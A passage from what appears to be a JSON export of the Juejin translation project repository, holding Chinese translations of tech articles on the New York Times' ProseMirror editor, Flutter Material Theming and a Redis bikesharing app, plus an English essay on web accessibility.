[Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/building-a-text-editor-for-a-digital-first-newsroom.md",
    "content": "> * 原文地址：[Building a Text Editor for a Digital-First Newsroom](https://open.nytimes.com/building-a-text-editor-for-a-digital-first-newsroom-f1cb8367fc21)\n> * 原文作者：[Sophia Ciocca](https://open.nytimes.com/@sophiaciocca?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/building-a-text-editor-for-a-digital-first-newsroom.md](https://github.com/xitu/gold-miner/blob/master/TODO1/building-a-text-editor-for-a-digital-first-newsroom.md)\n> * 译者：[diliburong](https://github.com/diliburong)\n> * 校对者：[Park-ma](https://github.com/Park-ma?tab=repositories)\n\n# 为数字优先新闻编辑室开发文本编辑器\n\n## 内观一个你可能认为理所当然的技术内部运作\n\n![](https://cdn-images-1.medium.com/max/800/1*LnJwoZLOuEZ1v1eAN-UWZg.gif)\n\nAaron Krolik / 纽约时报的插图\n\n如果你和美国的大多数人一样，几乎每天都会使用某个文本编辑器。无论是基本的 Apple Notes，还是像 Google Docs、Microsoft Word 或 Mediumz 等更高级的东西，我们的文本编辑器都允许我们记录和呈现我们重要的想法和信息，使我们能够以最吸引人的方式讲述故事。\n\n但是你可能没有想过这些文本编辑器的后台运作原理。每次你按下某个键时，可能会执行数百行的代码来在页面上呈现你想要的字符。看似很小的操作，例如拖动选择文本中的几段文字或将文本转换为标题，这实际上会触发程序系统底层的大量变化。\n\n虽然你可能无需考虑为这些复杂的文本编辑操作提供动力的代码，但我在纽约时报的团队确不断在思考它。我们的主要任务是为新闻工作室创建一个高度定制的报道编辑器。除了输入和呈现内容的基础功能之外，这个新的报道编辑器需要将 Google Docs 的高级特性与 Medium 的直观设计重点结合起来，并且添加新闻室工作流程独有的许多功能特性。\n\n多年以来，纽约时代报新闻编辑室使用了一个传统的自制文本编辑器，它并没有满足其众多需求。虽然我们的旧版编辑器非常适合新闻编辑室的生产工作流程，但它的用户界面还有许多不足：它严重的分隔了工作流程，将报道的不同部分（例如文本、照片、社交媒体和文案编辑）分离成应用程序的完全不同的部分。因此，要在这个较老的编辑器中生成一片文章需要浏览一系列冗长的、非直观的，并且视觉上没有吸引力的标签。\n\n除了使用户的工作流程碎片化之外，传统的编辑器在工程方面也造成很大的痛苦。它依赖于直接操作 DOM 来在编辑器中呈现所有内容，例如添加各种 HTML 标记以表示已删除文本，新文本和注释之间的区别。这意味着其他团队的工程师必须在文章发布并呈现到网站之前对文章进行大量严格的标记清理，将会是一个耗时并且容易出错的过程。\n\n随着新闻编辑室的发展，我们设想了一个新的报道编辑器，它可以直观的将报道的不同组成部分**内联**，这样记者和编辑都可以在发布前准确的看到报道的样子。另外，理想情况下，新的方法在其代码实现中更加直观和灵活，避免了旧版编辑器的许多问题。\n\n考虑到这两个目标，我的团队开始开发这个新型文本编辑器，并将其命名为 Oak。经过大量研究和数月的原型设计，我们选择在 [ProseMirror](http://prosemirror.net/) 的基础上开发它。ProseMirror 是一个用于构建富文本编辑器的强大开源 JavaScript 工具包，它采用了和我们旧版编辑器完全不同的方法，使用它自己的非 HTML [树形结构](https://en.wikipedia.org/wiki/Tree_%28data_structure%29) 来表示文档，该结构由段落、标题、列表和连接等来描述文本的构成。\n\n与我们旧版的编辑器所不同的是，基于 ProseMirror 开发的文本编辑器的输出可以最终可以呈现为 DOM 树、Markdown 文本或任何其他可以表达其编码概念的其他格式，使它非常通用并且解决许多我们在旧版文本编辑器上遇到的问题。\n\n那么 ProseMirror 究竟是如何工作的呢？让我们赶快深入它背后的技术。\n\n### 一切都是节点\n\nProseMirror 将其主要元素 — 段落、标题、列表、图片等 — 构造为**节点**。许多节点都可以具有子节点，例如 `heading_basic` 节点可以具有包括 `heading1` 、`byline`、`timestamp` 和 `image` 等子节点。这构成了我上面所提到的属性结构。\n\n![](https://cdn-images-1.medium.com/max/1000/1*Ek78_oxd_hD-fn_dx-YvFg.png)\n\n这种树状结构有趣的例外在于段落节点编纂文本的方式。考虑由以下句子组成的段落，“This is **strong text with _emphasis_**”。\n\nDOM 会将该句子编成树，如下所示：\n\n![](https://cdn-images-1.medium.com/max/800/0*oGZfDS1Rlm4MzAQu.)\n\n**句子的传统 DOM 表示 — 其标签以嵌套的树状方式工作。来源：[ProseMirror](https://prosemirror.net/docs/guide/)**\n\n但是，在 ProseMirror 中，段落的内容表示为一个扁平的内联元素序列，每个元素都有自己的样式\n\n![](https://cdn-images-1.medium.com/max/800/0*BKjocnJ6-DyNj-tK.)\n\n**ProseMirror 如何构造相同的句子。来源：[ProseMirror](https://prosemirror.net/docs/guide/)**\n\n扁平化的段落结构有一个有点：ProseMirror 依据其数字位置来追踪每个节点。因为 ProseMirror 将上面示例中的斜体和粗体字 \"emphasis\" 识别为其自己的独立节点，所以它可以将节点的位置表示为简单的字符偏移，而不是将其视为文档树中的位置。例如，文本编辑器可以知道 \"emphasis\" 一词从文档的 63 位开始。这使得选择、查找和使用更加容易。\n\n所有的这些节点 — 段落、标题、图像等 — 具有它们相关联的某些特征，包括大小、占位符和可拖动性。在某些特定节点（如图像或视频），它们还必须包括 ID 以便媒体文件能够在较大的 CMS 环境中被找到。Oak 是如何知道所有这些节点功能的呢？\n\n为了告诉 Oak 特定节点是怎么样的，我们使用“节点规范”来创建它，它是一个定义了文本编辑器需要理解并正确使用节点的自定义方法或行为的类。接着我们定义一个适用于编辑器中所有节点的 schema，并且表明了每个节点在整个文档中能够被允许放置的位置。（例如，我们不希望用户在页眉中放置嵌入式推文，因此我们在模式中禁止它。）在 schema 中我们列出了所有在 Oak 环境中存在的节点以及他们之间的关联方式。\n\n```\nexport function nytBodySchemaSpec() {\n  const schemaSpec = {\n    nodes: {\n      doc: new DocSpec({ content: 'block+', marks: '_' }),\n      paragraph: new ParagraphSpec({ content: 'inline*', group:  'block', marks: '_' }),\n      heading1: new Heading1Spec({ content: 'inline*', group: 'block', marks: 'comment' }),\n      blockquote: new BlockquoteSpec({ content: 'inline*', group: 'block', marks: '_' }),\n      summary: new SummarySpec({ content: 'inline*', group: 'block', marks: 'comment' }),\n      header_timestamp: new HeaderTimestampSpec({ group: 'header-child-block', marks: 'comment' }),\n      ...\n    },\n    marks: \n      link: new LinkSpec(),\n      em: new EmSpec(),\n      strong: new StrongSpec(),\n      comment: new CommentMarkSpec(),\n    },\n  };\n}\n```\n\n使用Oak环境中存在的所有节点的列表以及它们彼此之间的关系，ProseMirror 可以在任何时间点创建文档模型。此模型是一个对象，与最顶层插图中示例采用 Oak 编辑的文章旁边显示的 JOSN 结构非常相似。当用户编辑文章时，该对象将不断被包含编辑内容的新对象替换，以确保 ProseMirror 始终知道文档包含的节点信息来在页面上呈现内容。\n\n说到这里，每当 ProseMirror 知道节点在文档树中如何组合之后，它又是如何那些节点是什么样子又或如何实际在页面上显示它们？要将 ProseMirror 的状态映射到 DOM，每个节点都有一个开箱即用的简易方法 `toDOM()` 用来将节点转化为基本的 DOM 标签。例如，Paragraph 节点的 `toDOM()` 方法会将它转化为 `<p>` 标签，而 Image 节点会被转化为 `<img>` 标签。但是由于 Oak 需要自定义节点来做一些特殊的事务，我们的团队利用 ProseMirror 的 NodeView 功能来设计一个用来以特殊方式渲染节点的自定义 React 组件。\n\n（注意：ProseMirror 与框架无关，NodeView 可以使用任何前端框架创建。我们的团队使用 React）\n\n### 跟踪文本样式\n\n如果创建的节点具有通过 ProseMirror 从其 NodeView 获取的特定视觉外观，那么其他用户添加的样式（例如粗体和斜体）改如何生效？这里就是 **marks** 标记的用处，或许你已经在上面的构架代码块中注意到它。\n\n我们声明了 schema 中的所有节点之后，紧接着定义每个节点允许具有的 marks 类型。在 Oak 中我们为一些节点支持某些 marks，而另一些节点却不支持。例如，我们在小标题节点中允许斜体和超链接，但在大型标题节点中都不允许。对给定节点的 marks 将会保存在 ProseMirror 的当前文档状态中。我们也使用 marks 用于实现自定义批注功能，这将在下文介绍。\n\n### 编辑功能的幕后工作原理？\n\n为了在任何给定时间呈现文档的准确版本并跟踪版本历史记录，我们记录用户更改文档的几乎所有操作非常重要。例如，按下 “s” 或者回车键，又或插入一张图片。ProseMirror 将每一个这些微小的变化称为一个 **step**。\n\n为了确保 app 的所有部分同步并显示最新数据，文档的 state 是不可变的。这就意味着通过简单地编辑现有数据对象，不会发生对 state 的更新。ProseMirror 接受旧对象，并将其与 step 对象合并以达到一个全新状态。（对于一些熟悉Flux概念的人来说，这可能很熟悉。）\n\n此流程可以鼓励更加清晰的代码同时也能够留下更新的痕迹，从而实现一些编辑器包括版本比较在内的重要功能。我们在 Redux store 中追踪这些 steps 以及它们的顺序，从而使用户能够在版本之间随意切换，轻松实现回滚或前滚更改，并查看不同用户所做的编辑：\n\n![](https://cdn-images-1.medium.com/max/800/1*tSuAfd7GowO1oQoLRPQt5A.gif)\n\n**我们的版本比较功能依赖于仔细跟踪在不可变的 Redux state 下的每个事务。**\n\n### 我们开发的一些炫酷的功能\n\nProseMirror 是有意模块化和可模块化的，这意味着实现其他功能需要大量自定义定制。这对我们来说再好不过了，因为我们的目标就是开发一个满足新闻编辑室特殊需求的文本编辑器。我们团队开发的一些最有趣的功能包括：\n\n#### 跟踪变化\n\n就像上面展示的一样，我们的“跟踪变化”功能可以说是 Oak 最先进最重要的功能。由于新闻编辑室的文章涉及记者和其他各种编辑之间的复杂流程，因此能够跟踪不同用户对文档所做的更改以及何时更改是非常重要的。此功能很大程度上依赖对每个事务的仔细跟踪，并将它们每一个存入数据库中。然后在文档中用绿色来标记新增的内容，红色来标记删除的内容。\n\n#### 自定义标题\n\nOka 的目标之一是成为一个以设计为中心的文本编辑器，让记者和编辑能够以最适合任何给定故事的方式呈现视觉新闻。为此，我们创建了自定义标题节点，其中包括了水平和垂直的全屏图像。Oak 中的这些标题是有着特殊 NodeViews 和 schemas 的节点来允许它们包含署名、时间戳、图像和其他嵌套的节点。对于用户而言，所编辑时的标题是在面向读者的网站上发表的文章的标题的写照，使记者和编辑尽可能接近地表示文章在实际纽约时报网站上发布时的样子。\n\n![](https://cdn-images-1.medium.com/max/400/1*_cgjmva3RSguksfzzMsfhA.png)\n\n![](https://cdn-images-1.medium.com/max/400/1*tQYcbXpRjU4zkUwgSurr8Q.png)\n\n![](https://cdn-images-1.medium.com/max/400/1*gcFYFMW2K07mmG_q488f1Q.png)\n\n一些 Oak 的标题选项。从左到右：基本标题，水平全屏标题，垂直全屏标题。\n\n#### 批注功能\n\n评注是新闻编辑工作流程的重要组成部分。编辑需要与记者交流，提出问题并给出建议。在我们旧版编辑器中，用户被迫将他们的批注与文章文本一起直接放入文档中，经常会使文章看起来非常杂乱并且容易被遗漏。对于 Oak，我们团队开发了一个复杂的 ProseMirror 插件能够将批注在文章右侧显示。在底层，批注实际上使一种 **mark**，它使文本的附注像粗体、斜体、或者超链接一样，区别仅仅在于展现的样式。\n\n![](https://cdn-images-1.medium.com/max/800/1*4t-fGEwAmWDBdhHjTVoswA.gif)\n\n在Oak中，批注是一种 mark，不过显示在相关文本或节点的右侧。\n\n* * *\n\n自从它的构思以来，Oak已经走过了漫长的道路，我们很高兴能为开始从旧版编辑器转换的新闻工作室继续开发新功能。我们计划开始开发协同编辑功能，能够允许多个用户同时编辑文章，这将从根本上改善记者和编辑的合作方式。\n\n文本编辑器的复杂程度比许多人所知道的都要高。我为能够成为 Oak 团队的一员来开发这样的工具感到荣幸。作为作者，我觉得这个编辑器非常有趣，并且它对世界上最大和最有影响力的新闻编辑室之一的运作也非常重要。感谢我的经理 Tessa Ann Taylor 和 Joe Hart，以及在我来到这之前已经在 Oak 工作的我们团队：Thomas Rhiel、Jeff Sisson、Will Dunning、Matthew Stake、Matthew Berkowitz、Dylan Nelson、Shilpa Kumar、Shayni Sood 以及 Robinson Deckert。我很幸运能有这么棒的队友让 Oak 这一魔术编辑器诞生。谢谢。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/building-accessible-websites-and-apps-is-a-moral-obligation.md",
    "content": "> * 原文地址：[Building accessible websites and apps is a moral obligation](https://machinelearningmastery.com/how-to-configure-image-data-augmentation-when-training-deep-learning-neural-networks/)\n> * 原文作者：[ChrisFerdinandi](http://twitter.com/ChrisFerdinandi) \n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/building-accessible-websites-and-apps-is-a-moral-obligation.md](https://github.com/xitu/gold-miner/blob/master/TODO1/building-accessible-websites-and-apps-is-a-moral-obligation.md)\n> * 译者：\n> * 校对者：\n\n# Building accessible websites and apps is a moral obligation\n\nYesterday, we recorded a [JS Jabber](https://devchat.tv/js-jabber/) episode (I'm a co-host on the show) with [Chris DeMars](http://chrisdemars.com/). (It comes out in a month or two.)\n\nChris has a strong focus on performance and web accessibility, and at one said something to the effect of:\n\n> Building websites that are accessible is your moral obligation as a web developer.\n\nI expected everyone to nod in agreement, but to my surprise, a few of my co-hosts actually disagreed with this position. At least one of them even said they would *not* want this legally required the way handicapped access is in physical businesses.\n\n## I\\'m sorry, what?\n\nI don't think I've ever been quite so frustrated by a podcast episode before. Their positions (not mine!) were as follows:\n\n1.  What's moral/immoral for me might not be the same for someone else.\n2.  The beauty of the web is that the friction in starting and growing a business is low, and accessibility adds more friction.\n3.  Handicapped people bear some of the responsibility in managing their own condition. This isn't entirely on us as developers.\n\nMy co-hosts were quick to point out that they think accessibility is a good thing, but not a *moral obligation*.\n\nToday, I want to write some extended thoughts now that I've had more time to think about the episode and some of the things we talked about.\n\n## Morality is not always relative\n\nThere's gray area, of course.\n\nIs stealing immoral? What if the person has a starving, desperate family and no other options? Different people would answer that question differently.\n\nBut what about, for example, someone who builds homes for a living.\n\nLet's say there are two ways to frame a house. One of them is simpler and faster, but about 20% of the houses randomly collapse after a couple of years. But there's a second approach, a bit slower, a bit more work, that keeps those houses standing for 100 years or more.\n\nWould you say the builder has a moral obligation to *not* build a house that's going to collapse on people? (*If not, by the way, you might be an asshole.*)\n\nSo, too, it goes with websites.\n\nYou can quickly slap together a website or app in ways that make it unusable for people with physical and mental disabilities (an estimated 20% of the population), or you can take the time to build it right and make sure it works for everyone.\n\n## You're a web *professional*\n\nThis is your fucking job.\n\nYou won't get it 100% perfect. It's pretty much impossible. But you need to care. You need to try. You need to educate yourself.\n\nYou wouldn't tolerate a builder who didn't bother reading the building code or educating themselves on how to properly build a house.\n\nSo why is that OK for us a builders of web things?\n\n## The web is accessible out-of-the-box. *We* break it.\n\nAn HTML file with no CSS and no JavaScript is accessible by default.\n\nSometimes we break it by using the wrong HTML elements for the job. Sometimes we break it with CSS. Often, we break it by trying to do fancy stuff with JavaScript that breaks the way things normally work.\n\nBut that complaint about \"adding friction\" and \"slowing down the dev process\"... you're doing that to yourself with all of the unnecessary stuff you're trying to add, and you're breaking your own website in the process.\n\nIf you want to build something quickly, keep it simple.\n\n## It's not on people with disabilities to tell you how you screwed up\n\nOne of my co-hosts argued that if a website is inaccessible, it's on the visitor with the disability to call customer service and let them know.\n\nNope. Fuck that.\n\nIt's not *my* responsibility to tell a builder they violated the building code, and it's not a user's job to tell a company their site isn't usable. It's the company's job.\n\nAgain, you're a web *professional*.\n\n## It *should* be easier\n\nOne common theme was that accessibility should be easier. Here, I agree.\n\nOften times it actually *is* relatively easy. There's tons of low-hanging fruit we get wrong, including...\n\n1.  Adding `alt` attributes to images.\n2.  Using the right elements for things (ex. `button` or link instead of a `span` or `div`for an interactive element).\n3.  Not removing focus styles from focusable content.\n4.  Using headings (`h1`, `h2`, etc.) that reflect the content structure, not for style purposes.\n\nBut for advanced features, things can get confusing. The proper markup structure, keyboard interactions, and aria attributes and roles for things like tabs, accordions, modals, and so on is tricky to get right.\n\nThe specs around these things are *not* written for the average person.\n\nI would love more human-readable documentation on how to accessibility structure advanced components. [Dave Rupert's A11Y Nutrition Cards](https://davatron5000.github.io/a11y-nutrition-cards/) are a great start, but we need more, and it shouldn't be on Dave alone to build stuff like that.\n\nEven better, I'd love to see native components for this stuff.\n\nWe've got [one for accordions and disclosures](https://gomakethings.com/javascript-free-accordions/) now, which is awesome. There's the `dialog` element for modals, but it has [lots of implementation and accessibility issues](https://www.scottohara.me/blog/2019/03/05/open-dialog.html). A native tab component would be awesome, too.\n\n## This is our job\n\nRegardless of how easy or not it is, this is our job.\n\nIf you build for the web, you have a moral obligation to make sure it works right for everyone. Building code is horrible to read, but builders still have to know it. Same goes for accessibility.\n\nAnd as we've already discussed, the web is accessible by default. If you break it, you have to fix it.\n\nLet's make 2019 the year we do a better job at this.\n\n🚀 *The Vanilla JS Academy is back! The next session of the [Vanilla JS Academy](https://vanillajsacademy.com/)starts on May 6. Register today and make 2019 the year you learn to think in JavaScript.*\n\n*Have any questions or comments about this post? Email me at <chris@gomakethings.com> or contact me on Twitter at [@ChrisFerdinandi](http://twitter.com/ChrisFerdinandi).*\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/building-beautiful-flexible-user-interfaces-with-flutter-material-theming-and-official-material.md",
    "content": "> * 原文地址：[Building beautiful, flexible user interfaces with Flutter, Material Theming, and official Material Components (MDC)](https://medium.com/flutter-io/building-beautiful-flexible-user-interfaces-with-flutter-material-theming-and-official-material-13ae9279ef19)\n> * 原文作者：[Michael Thomsen](https://medium.com/@mit.mit?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/building-beautiful-flexible-user-interfaces-with-flutter-material-theming-and-official-material.md](https://github.com/xitu/gold-miner/blob/master/TODO1/building-beautiful-flexible-user-interfaces-with-flutter-material-theming-and-official-material.md)\n> * 译者：[DevMcryYu](https://github.com/devmcryyu)\n> * 校对者：[sunui](https://github.com/sunui)\n\n# 使用 Flutter、Material Theming 和官方 Material Components（MDC）构建美观，灵活的用户界面\n\n在 [Google I/O 2018](https://events.google.com/io/) 上，Material 团队[宣布](https://design.google/library/making-more-with-material/)对 Material Design 进行重要更新，其重点是通过系统地应用品牌特定设计，从而使移动应用程序从其他应用中脱颖而出。这就是 [Material Theming](https://material.io/design/material-theming/) 工具。以下研究显示了通过组合不同定制的 Material Components，来为“Shrine” —— 一个销售服装和家居用品的电子商务应用程序，创建一个品牌特定的设计。[Flutter](http://flutter.io) 简直是实现这种设计的完美框架！\n\n**我非常高兴能够欢迎 Flutter 加入官方的 Material Design 组件集合中，成为我们 Android、iOS 和 Web 产品完全成熟的伙伴。Flutter 灵活和适应性的 widget 非常适合 Material Theming，而 Flutter 实时 UI 迭代的能力改变了我们改进设计的方式。”**\n\n- Matías Duarte，Material Design 副总裁\n\n![](https://cdn-images-1.medium.com/max/1000/1*cyTGpzWuHqvYFGTV7uQyXA.png)\n\n采用 Material Theming 和 Material Components 设计的 “Shrine 品牌特定” UI 元素\n\n\n![](https://cdn-images-1.medium.com/max/800/1*L2vOm-w6u4c-WRU6qZ9W_A.png)\n\n使用 Flutter 和 Material Components 实现 Shrine 设计的截图\n\n#### Material Components 对 Flutter 的官方支持\n\nFlutter 的核心原则之一即是为创建富有表现力的灵活的移动 UI 提供一流的支持。为了这个目标，我们很高兴的宣布 Flutter 被采用为 Material 的最佳平台！Flutter 将包含到设计和工程讨论、文档、官方支持、Google Design 内容，以及 Android、iOS 和 Web 的教学中。Material 甚至创建了一个专门的 Flutter 工程团队来与 Flutter 的 Material 库工程师们携手合作。这种伙伴关系将使 Flutter 在 Material Design 持续发展并增加像 Material Theming 等功能时保证自身的更新。你可以在 [material.io/develop/flutter](http://material.io/develop/flutter) 找到更多的相关信息。\n\n#### 在 Flutter 中使用 Material Theming 和 Material Components\n\n就在 I/O 大会的时候，Flutter 的 Material Components 库便已经更新以支持 Material 新系统中的许多新功能、样式和组件。这些都在 [Flutter beta 3](https://medium.com/flutter-io/flutter-beta-3-7d88125245dc) 中提供并内置到 Flutter 框架中，从而无需额外的库！我们还在 [Flutter Gallery](https://play.google.com/store/apps/details?id=io.flutter.demo.gallery) 中添加了更多关于如何使用这些 widget 的示例。\n\n![](https://cdn-images-1.medium.com/max/800/1*3U83sHXcjpSZCceOlIjyHg.png)\n\n Flutter Gallery 中的部分 Material Components\n\n### 了解更多\n\n要快速了解在 Flutter 中使用 Material Theming，请查看我们的 Google I/O 大会：\n\n* YouTube 视频链接：https://youtu.be/hA0hrpR-o8U\n\n最后，我们很高兴地展示四份教程来教授使用 Flutter 和 Material Components 创建美观灵活的用户界面所需的核心理念：\n\n1.  [**MDC 101 Flutter：Material Components 基础**](https://codelabs.developers.google.com/codelabs/mdc-101-flutter/)  \n通过构建包含核心组件的简单应用程序，了解使用 Material Components 的基础知识。\n\n2.  [**MDC 102 Flutter：Material 结构和布局**](https://codelabs.developers.google.com/codelabs/mdc-102-flutter/)  \n了解如何在 Flutter 中使用 Material 结构和布局，添加导航、结构和数据。\n\n3.  [**MDC 103 Flutter：Material Theming 的颜色、形状、高度和类型**](https://codelabs.developers.google.com/codelabs/mdc-103-flutter/)  \n使用 Flutter 中的 Material Components 来区分你的产品并通过设计表达你的品牌理念。\n\n4.  [**MDC 104 Flutter：Material 高级组件**](https://codelabs.developers.google.com/codelabs/mdc-104-flutter/)  \n改进你的设计并学习使用我们的高级组件背景菜单。\n\n#### 下一步\n\nFlutter 将继续与 Material 合作发布新的功能。在 GitHub 上的 [Material Components Roadmap](https://github.com/material-components/material-components/blob/develop/ROADMAP.md) 中了解有关 Material Components 发布计划的更多信息。我们期待看到你用 Flutter 和 Material Theming 创造出的精彩设计！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/building-bikesharing-application-open-source-tools.md",
    "content": "> * 原文地址：[Build a bikesharing app with Redis and Python](https://opensource.com/article/18/2/building-bikesharing-application-open-source-tools)\n> * 原文作者：[Tague Griffith](https://opensource.com/users/tague)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/building-bikesharing-application-open-source-tools.md](https://github.com/xitu/gold-miner/blob/master/TODO1/building-bikesharing-application-open-source-tools.md)\n> * 译者：[Starrier](https://github.com/Starriers)\n> * 校对者：[Raoul1996](https://github.com/Raoul1996)、[rydensun](https://github.com/rydensun)\n\n# 用 Redis 和 Python 构建一个共享单车的 app\n\n## 了解如何使用 Redis 和 Python 构建位置感知应用程序。\n\n![google bikes on campus](https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/google-bikes-yearbook.png?itok=BnmInwea \"google bikes on campus\")\n\n图片来源： [Travis Wise](https://www.flickr.com/photos/photographingtravis/15720889480). CC BY-SA 2.0\n\n虽然我经常出差，但我不太喜欢开车，所以当我有空的时候，我更喜欢在城市里散步或骑自行车。我出差去过的许多城市都有自行车租赁系统，可以让你租几个小时的自行车。这些系统中的大多数都有一个应用程序来帮助用户定位和租赁他们的自行车，但对于像我这样的用户来说，有一个单独的地方来获取城市中所有可供租赁的自行车的信息会更有帮助。\n\n为了解决这个问题并开源向 Web 应用程序添加位置感知特性的能力，我结合了公开可用的共享单车数据、[Python](https://www.python.org/) 编程语言和开源 [Redis](https://redis.io/) 内存数据结构服务器来索引并查询地理空间数据。\n\n由此产生的共享单车应用程序集成了来自许多不同共享系统的数据，包括在纽约市的 [Citi Bike](https://www.citibikenyc.com/) 共享单车。它利用了 Citi Bike 系统提供的通用共享单车数据流，并使用其数据演示了可以使用 Redis 建立的一些功能来索引地理空间数据。Citi Bike 数据是根据 [Citi Bike 数据许可协议](https://www.citibikenyc.com/data-sharing-policy)提供的。\n\n## 通用共享单车数据流规范\n\n通用共享单车数据流规范（GBFS）是由[北美共享单车协会](http://nabsa.net/ )开发的[开源数据规范](https://github.com/NABSA/gbfs)，目的是让地图和交通类应用程序更轻易地将共享单车系统添加到它们的平台中。目前世界上有 60 多个不同的共享系统在使用该规范。\n\n数据流由包含有关系统状态信息的几个简单 [JSON](https：//www.json.org/) 数据文件组成。数据流从引用子数据流数据的 URL 的顶级 JSON 文件开始：\n\n```\n{\n    \"data\": {\n        \"en\": {\n            \"feeds\": [\n                {\n                    \"name\": \"system_information\",\n                    \"url\": \"https://gbfs.citibikenyc.com/gbfs/en/system_information.json\"\n                },\n                {\n                    \"name\": \"station_information\",\n                    \"url\": \"https://gbfs.citibikenyc.com/gbfs/en/station_information.json\"\n                },\n                . . .\n            ]\n        }\n    },\n    \"last_updated\": 1506370010,\n    \"ttl\": 10\n}\n```\n\n第一步是将 system_information 和 station_information 中，数据流有关共享单车站点的信息的数据加载到 Redis 里。\n\n `system_information` 数据流系统 ID，这是一个可用于 Redis 密钥创建命名空间的短代码。GBFS 规范没有指定系统 ID 的格式，但保证它是全局唯一的。对于系统 ID，许多共享单车数据流都是使用简短的名称，如 coast_bike_share、boise_greenbike 或者 topeka_metro_bikes。另一些使用熟悉的地理缩写，如 NYC 或 BA，其中一个使用通用唯一标识符（UUID）。共享单车应用程序使用标识符作为前缀来构造给定系统的唯一密钥。\n\n`Station_Information` 数据流提供了组成系统的关于共享站点的静态信息。站点由带有多个字段的 JSON 对象表示。在站点对象中有几个必填字段，它们提供真实站点的 ID、名称和位置。还有几个可选字段提供的有用信息，如最近的十字路口或所接受的付款方式。这是共享单车应用程序这部分的主要信息来源。\n\n## 创建数据库\n\n 我写了一个示例应用程序 —— [load_station_data.py](https://gist.github.com/tague/5a82d96bcb09ce2a79943ad4c87f6e15)，它模拟了从外部源加载数据的后端过程中可能发生的情况。\n\n## 查找共享单车站点\n\n从 [Github 的 GBFS 仓库](https://github.com/NABSA/gbfs)的 [systems.csv](https://github.com/NABSA/gbfs/blob/master/systems.csv) 文件加载共享单车数据。\n\n仓库的 [systems.csv](https://github.com/NABSA/gbfs/blob/master/systems.csv) 文件为注册的共享单车系统提供了一个带有可用的 GBFS 数据流发现 URL。发现 URL 是处理共享单车信息的起点。\n\n `load_station_data` 应用程序获取系统文件中发现的每个 URL，并使用它查询两个数据流 URL：系统信息和站点信息。系统信息数据流提供了一条关键信息：系统的唯一 ID。（**注意：systems.csv 文件也提供了系统 